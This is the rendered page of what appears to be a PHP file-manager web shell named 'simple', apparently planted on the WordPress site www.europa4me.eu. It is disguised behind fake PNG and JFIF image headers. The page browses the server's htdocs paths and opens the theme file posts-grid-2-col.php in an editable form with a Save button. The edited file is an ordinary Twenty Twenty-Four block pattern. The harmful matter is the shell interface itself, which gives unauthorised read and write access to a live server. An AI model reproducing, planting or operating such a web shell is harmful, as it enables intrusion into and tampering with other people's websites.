�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2F'>www.europa4me.eu</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-content%2Fthemes%2F'>themes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-content%2Fthemes%2Ftwentytwentyfour%2F'>twentytwentyfour</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-content%2Fthemes%2Ftwentytwentyfour%2Fpatterns%2F'>patterns</a>/</p><hr><h3>✏️ Editing: posts-grid-2-col.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Title: Grid of posts featuring the first post, 2 columns
 * Slug: twentytwentyfour/posts-grid-2-col
 * Categories: query
 * Block Types: core/query
 * Description: A grid of posts featuring the first post, 2 columns.
 */
?&gt;

&lt;!-- wp:group {&quot;align&quot;:&quot;full&quot;,&quot;style&quot;:{&quot;spacing&quot;:{&quot;padding&quot;:{&quot;top&quot;:&quot;var:preset|spacing|50&quot;,&quot;bottom&quot;:&quot;var:preset|spacing|50&quot;,&quot;left&quot;:&quot;var:preset|spacing|50&quot;,&quot;right&quot;:&quot;var:preset|spacing|50&quot;},&quot;margin&quot;:{&quot;top&quot;:&quot;0&quot;,&quot;bottom&quot;:&quot;0&quot;}}},&quot;layout&quot;:{&quot;type&quot;:&quot;constrained&quot;}} --&gt;
&lt;div class=&quot;wp-block-group alignfull&quot; style=&quot;margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--50);padding-right:var(--wp--preset--spacing--50);padding-bottom:var(--wp--preset--spacing--50);padding-left:var(--wp--preset--spacing--50)&quot;&gt;
	&lt;!-- wp:heading {&quot;align&quot;:&quot;wide&quot;,&quot;style&quot;:{&quot;typography&quot;:{&quot;lineHeight&quot;:&quot;1&quot;},&quot;spacing&quot;:{&quot;margin&quot;:{&quot;top&quot;:&quot;0&quot;}}},&quot;fontSize&quot;:&quot;x-large&quot;} --&gt;
	&lt;h2 class=&quot;wp-block-heading alignwide has-x-large-font-size&quot; style=&quot;margin-top:0;line-height:1&quot;&gt;&lt;?php esc_html_e( &#039;Watch, Read, Listen&#039;, &#039;twentytwentyfour&#039; ); ?&gt;&lt;/h2&gt;
	&lt;!-- /wp:heading --&gt;

	&lt;!-- wp:spacer {&quot;height&quot;:&quot;var:preset|spacing|10&quot;,&quot;style&quot;:{&quot;spacing&quot;:{&quot;margin&quot;:{&quot;top&quot;:&quot;0&quot;,&quot;bottom&quot;:&quot;0&quot;}}}} --&gt;
	&lt;div style=&quot;margin-top:0;margin-bottom:0;height:var(--wp--preset--spacing--10)&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;
	&lt;/div&gt;
	&lt;!-- /wp:spacer --&gt;

	&lt;!-- wp:columns {&quot;align&quot;:&quot;wide&quot;,&quot;style&quot;:{&quot;spacing&quot;:{&quot;blockGap&quot;:{&quot;top&quot;:&quot;var:preset|spacing|50&quot;,&quot;left&quot;:&quot;var:preset|spacing|30&quot;}}}} --&gt;
	&lt;div class=&quot;wp-block-columns alignwide&quot;&gt;
		&lt;!-- wp:column {&quot;width&quot;:&quot;60%&quot;} --&gt;
		&lt;div class=&quot;wp-block-column&quot; style=&quot;flex-basis:60%&quot;&gt;
			&lt;!-- wp:query {&quot;query&quot;:{&quot;perPage&quot;:1,&quot;pages&quot;:0,&quot;offset&quot;:0,&quot;postType&quot;:&quot;post&quot;,&quot;order&quot;:&quot;desc&quot;,&quot;orderBy&quot;:&quot;date&quot;,&quot;author&quot;:&quot;&quot;,&quot;search&quot;:&quot;&quot;,&quot;exclude&quot;:[],&quot;sticky&quot;:&quot;exclude&quot;,&quot;inherit&quot;:false}} --&gt;
			&lt;div class=&quot;wp-block-query&quot;&gt;
				&lt;!-- wp:post-template {&quot;style&quot;:{&quot;spacing&quot;:{&quot;blockGap&quot;:&quot;0&quot;}}} --&gt;
				&lt;!-- wp:post-featured-image {&quot;isLink&quot;:true,&quot;aspectRatio&quot;:&quot;3/4&quot;} /--&gt;

				&lt;!-- wp:spacer {&quot;height&quot;:&quot;var:preset|spacing|10&quot;} --&gt;
				&lt;div style=&quot;height:var(--wp--preset--spacing--10)&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;
				&lt;/div&gt;
				&lt;!-- /wp:spacer --&gt;

				&lt;!-- wp:group {&quot;style&quot;:{&quot;spacing&quot;:{&quot;blockGap&quot;:&quot;var:preset|spacing|10&quot;}},&quot;layout&quot;:{&quot;type&quot;:&quot;flex&quot;,&quot;orientation&quot;:&quot;vertical&quot;,&quot;flexWrap&quot;:&quot;nowrap&quot;}} --&gt;
				&lt;div class=&quot;wp-block-group&quot;&gt;
					&lt;!-- wp:post-title {&quot;level&quot;:3,&quot;isLink&quot;:true,&quot;fontSize&quot;:&quot;x-large&quot;} /--&gt;

					&lt;!-- wp:post-excerpt {&quot;excerptLength&quot;:35} /--&gt;

					&lt;!-- wp:template-part {&quot;slug&quot;:&quot;post-meta&quot;} /--&gt;

				&lt;/div&gt;
				&lt;!-- /wp:group --&gt;
				&lt;!-- /wp:post-template --&gt;
			&lt;/div&gt;
			&lt;!-- /wp:query --&gt;
		&lt;/div&gt;
		&lt;!-- /wp:column --&gt;

		&lt;!-- wp:column {&quot;width&quot;:&quot;40%&quot;} --&gt;
		&lt;div class=&quot;wp-block-column&quot; style=&quot;flex-basis:40%&quot;&gt;
			&lt;!-- wp:query {&quot;query&quot;:{&quot;perPage&quot;:2,&quot;pages&quot;:0,&quot;offset&quot;:1,&quot;postType&quot;:&quot;post&quot;,&quot;order&quot;:&quot;desc&quot;,&quot;orderBy&quot;:&quot;date&quot;,&quot;author&quot;:&quot;&quot;,&quot;search&quot;:&quot;&quot;,&quot;exclude&quot;:[],&quot;sticky&quot;:&quot;&quot;,&quot;inherit&quot;:false}} --&gt;
			&lt;div class=&quot;wp-block-query&quot;&gt;
				&lt;!-- wp:post-template {&quot;style&quot;:{&quot;spacing&quot;:{&quot;blockGap&quot;:&quot;var:preset|spacing|40&quot;}}} --&gt;
				&lt;!-- wp:post-featured-image {&quot;isLink&quot;:true,&quot;aspectRatio&quot;:&quot;4/3&quot;} /--&gt;

				&lt;!-- wp:spacer {&quot;height&quot;:&quot;5px&quot;,&quot;style&quot;:{&quot;layout&quot;:{}}} --&gt;
				&lt;div style=&quot;height:5px&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;
				&lt;/div&gt;
				&lt;!-- /wp:spacer --&gt;

				&lt;!-- wp:group {&quot;style&quot;:{&quot;spacing&quot;:{&quot;blockGap&quot;:&quot;8px&quot;}},&quot;layout&quot;:{&quot;type&quot;:&quot;flex&quot;,&quot;orientation&quot;:&quot;vertical&quot;,&quot;flexWrap&quot;:&quot;nowrap&quot;}} --&gt;
				&lt;div class=&quot;wp-block-group&quot;&gt;
					&lt;!-- wp:post-title {&quot;level&quot;:3,&quot;isLink&quot;:true,&quot;fontSize&quot;:&quot;large&quot;} /--&gt;

					&lt;!-- wp:post-excerpt {&quot;excerptLength&quot;:14,&quot;fontSize&quot;:&quot;small&quot;} /--&gt;
					&lt;!-- wp:template-part {&quot;slug&quot;:&quot;post-meta&quot;} /--&gt;

				&lt;/div&gt;
				&lt;!-- /wp:group --&gt;
				&lt;!-- /wp:post-template --&gt;
			&lt;/div&gt;
			&lt;!-- /wp:query --&gt;
		&lt;/div&gt;
		&lt;!-- /wp:column --&gt;
	&lt;/div&gt;
	&lt;!-- /wp:columns --&gt;
&lt;/div&gt;
&lt;!-- /wp:group --&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-content%2Fthemes%2Ftwentytwentyfour%2Fpatterns'>🔙 Back</a></p>